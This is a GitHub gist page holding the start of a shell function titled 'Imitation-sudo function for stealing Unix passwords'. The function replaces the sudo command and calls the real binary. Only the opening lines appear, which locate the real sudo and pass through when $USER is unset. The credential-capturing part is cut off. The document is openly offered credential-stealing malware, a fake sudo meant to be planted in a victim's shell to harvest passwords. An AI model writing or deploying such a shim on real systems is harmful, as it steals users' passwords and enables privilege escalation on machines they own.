Skip to content

Instantly share code, notes, and snippets.

View benbusby's full-sized avatar
💭
🐸

Ben Busby benbusby

💭
🐸
View GitHub Profile
@benbusby
benbusby / sudo
Last active April 15, 2020 16:43 — forked from tokyoneon/sudo
Imitation-sudo function for stealing Unix passwords
function sudo () {
realsudo="$(which sudo)"
# Skip altogether if $USER is not set for whatever reason
if [[ -z $USER ]];
then
$realsudo "${@:1}"
return
fi